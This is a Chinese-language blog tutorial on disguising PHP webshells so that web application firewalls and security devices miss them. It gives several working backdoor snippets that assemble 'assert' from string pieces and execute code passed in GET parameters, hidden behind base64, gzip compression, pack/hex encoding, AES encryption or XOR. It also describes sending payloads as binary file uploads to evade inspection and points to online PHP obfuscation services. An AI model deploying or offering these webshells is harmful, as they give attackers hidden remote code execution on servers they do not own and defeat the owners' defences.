LOADING

加载过慢请开启缓存 浏览器默认开启

2024/5/5

一.字符串变形

1.简单字符串拼接

<?php
$func = $_GET["func"];
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($func);
?>

2.利用字符串函数

ucwords() //把每个单词的首字符转换为大写
ucfirst() //首字符转换为大写
trim() //移除字符串两侧的字符
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分
strtr() //函数转换字符串中特定的字符
strtoupper() //把所有字符转换为大写
strtolower() //把所有字符转换为小写
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码
chr() //从指定 ASCII 值返回字符
hex2bin() //把十六进制值转换为 ASCII 字符
bin2hex() //ASCII 字符的字符串转换为十六进制值
gzcompress()、gzdeflate()、gzencode() //字符串压缩
gzuncompress()、gzinflate()、gzdecode() //字符串解压
base64_encode() //base64编码
base64_decode() //nase64解码
pack() //数据装入一个二进制字符串
unpack() //从二进制字符串对数据进行解包

在这里我们使用base64加参数加密

<?php
$func = base64_decode($_GET["func"]);        #?func = cGhwaW5mbygp       `phpinfo()`
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];                #?func2=sert
$c($func);
?>

gzcompress系列

<?php
$a = gzcompress("abc");
echo "压缩后: ".$a;

echo "<br>解压后: ".gzuncompress($a);
?>

img

可以看到这里解压后的内容变成了一堆乱码,在这里值得注意的是,如果我们利用方式依旧像base64一样是行不通,因为这一串乱码是无法提过字符串的形式准确的返回给服务端的

img

1.base64编码

再次利用base64编码,如果没有经验的兄弟可能会认为这是多此一举,我直接用base64不就完了么,其实在真正的对抗当中,很多安全设备是可以识别base64编码的,可以自动解码判断解码后的内容。这一不其实就是为了,防止被解码后,内容被识别

<?php
$func = gzuncompress(base64_decode($_GET["func"]));
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($func);
?>

img

2.伪装成文件,以二进制方式传输

这种发送迷惑性比较大,很少有waf会去识别二进制流中的内容,顶多就是一些简单的正则表达式去匹配一些字符串,乱码根本就不全去识别

由于不能直接防止粘贴,因此需要在本地生成二进制文件

<?php
$a = gzcompress("phpinfo();");
file_put_contents("123.txt",$a);
?>

img

在本地搭建一个上传页面只为获取数据包

源码如下

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<title>文件上传</title>
</head>
<body>
<form method="post" enctype="multipart/form-data" action="">
<input type="file" name="filename">
<button type="submit" >上传</button>
</form>
</body>
</html>
<?php
printf($_FILES);

img

可以看到这些后缀和mime这些都是文件上传的敏感点,只要我们不去触发的话,waf还是会对我们很信任的

img

可以看到这里执行了phpinfo,关键在于这串字符是非常难解析的,一般的waf是无法解析出来的

pack系列

<?php

$func=pack("H14","706870696e666f");

$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($func);

img

如果有经验的同学可能会觉得这个和hex2bin非常相似,其实pack函数比hex2bin强大的多

语法:

unpack(format,data)

data。规定被解包的二进制数据。

format。规定在解包数据时所使用的格式。
可能的值:

a - NUL 填充的字符串
A - SPACE 填充的字符串
h - 十六进制字符串,低位在前
H - 十六进制字符串,高位在前
c - signed char
C - unsigned char
s - signed short(总是16位, machine 字节顺序)
S - unsigned short(总是16位, machine 字节顺序)
n - unsigned short(总是16位, big endian 字节顺序)
v - unsigned short(总是16位, little endian 字节顺序)
i - signed integer(取决于 machine 的大小和字节顺序)
I - unsigned integer(取决于 machine 的大小和字节顺序)
l - signed long(总是32位, machine 字节顺序)
L - unsigned long(总是32位, machine 字节顺序)
N - unsigned long(总是32位, big endian 字节顺序)
V - unsigned long(总是32位, little endian 字节顺序)
f - float(取决于 machine 的大小和表示)
d - double(取决于 machine 的大小和表示)
x - NUL 字节
X - 备份一个字节
Z - NUL 填充的字符串
@ - NUL 填充绝对位置

此函数提供了多中格式,可以将文件或者流量变得更加复杂

3.加密函数与自写加密函数

openssl加密函数:

openssl_encrypt方法详解:

openssl_encrypt($data, $method, $key, $options = 0, $iv = “”, &$tag = NULL, $aad = “”, $tag_length = 16)

参数:

1.$data:加密明文
2.$method:加密方法: 可以通过openssl_get_cipher_methods()获取有哪些加密方式
3.$passwd:加密密钥[密码]
4.$options:数据格式选项(可选)【选项有:】:0,OPENSSL_RAW_DATA=1,OPENSSL_ZERO_PADDING=2,OPENSSL_NO_PADDING=3
5.$iv:密初始化向量(可选),需要注意:如果method为DES−ECB,则iv无需填写
6.$tag:使用 AEAD 密码模式(GCM 或 CCM)时传引用的验证标签(可选)
7.$aad:附加的验证数据。(可选)
8.$tag_length:验证 tag 的长度。GCM 模式时,它的范围是 4 到 16(可选)

openssl_decrypt方法详解:

openssl_decrypt($data, $method, $password, $options = 1, $iv = “”, $tag = “”, $aad = “”)
参数:

1.$data:要解密的加密消息。
2.$method:解密方法:可以通过openssl_get_cipher_methods()获取有哪些解密方式
3.$passwd:解密密钥[密码]
4.$options:数据格式选项(可选)【选项有:】0,OPENSSL_RAW_DATA=1,OPENSSL_ZERO_PADDING=2,OPENSSL_NO_PADDING=3
5.$iv:密初始化向量(可选),需要注意:如果method为DES−ECB,则iv无需填写
6.$tag:AEAD密码模式下的身份验证标签(可选)
7.$aad:附加的验证数据。(可选)

函数基本使用:

<?php
// 要加密的字符串
$data = 'demo';
// 密钥
$key = '123456';
// 加密数据 'AES-128-ECB' 可以通过openssl_get_cipher_methods()获取
$encrypt = openssl_encrypt($data, 'AES-128-ECB', $key, 0);
echo "加密后: ".$encrypt;

//密钥
$key = '123456';
// 解密数据
$decrypt = openssl_decrypt($encrypt, 'AES-128-ECB', $key, 0);
echo "<br>解密后: ".$decrypt;

img

实际利用:


<?php
$key = "password";

$fun = openssl_decrypt($_GET['func'], 'AES-128-ECB', $key, 0);
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

img

自己写加密算法

这种方式也比较简单,在很多ctf题目中都喜欢考与,或,取反,异或等进行绕过,其中可以直接用他们进行加密操作,当然如果学过密码学,一些简单的加密方式其实也行,凯莎密码,维吉尼亚密码,替换加密等都是可以尝试的,但是更复杂的算法还是建议,能使用现成的扩展就直接用,没必要花太多时间去研究这些算法。

下面就以异或加密为例:

<?php

$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

img

二.使用在线工具

一、简单的PHP在线加密

PHP加密混淆解密 - 爱资料工具 (toolnb.com)

使用方法

拖入文件后

点击PHP混淆

再点击下载结果

img

将直接下载PHP文件

img

img

二、复杂PHP在线加密

会员注册|php源码加密|www.PhpJiaMi.com

使用方法:

第一步:选择加密文件,配置加密选项

img

第二步:点击加密,并下载加密后的文件

img

第三步:将下载的文件后缀改为php

三、开源PHP代码混乱 +加密项目

djunny/enphp: a Open Source PHP Code Confusion + Encryption Project (github.com)

PHP加密|PHP在线加密|PHP解密|PHP代码解密|GOTO解密|PHP混淆 - EnPHP加密平台 (djunny.com)

参考链接:

webshell免杀之字符串混淆及流量加密 - 知乎 (zhihu.com)

【WAF绕过-加密混淆】php代码加密混淆_thinkphp 代码混淆-CSDN博客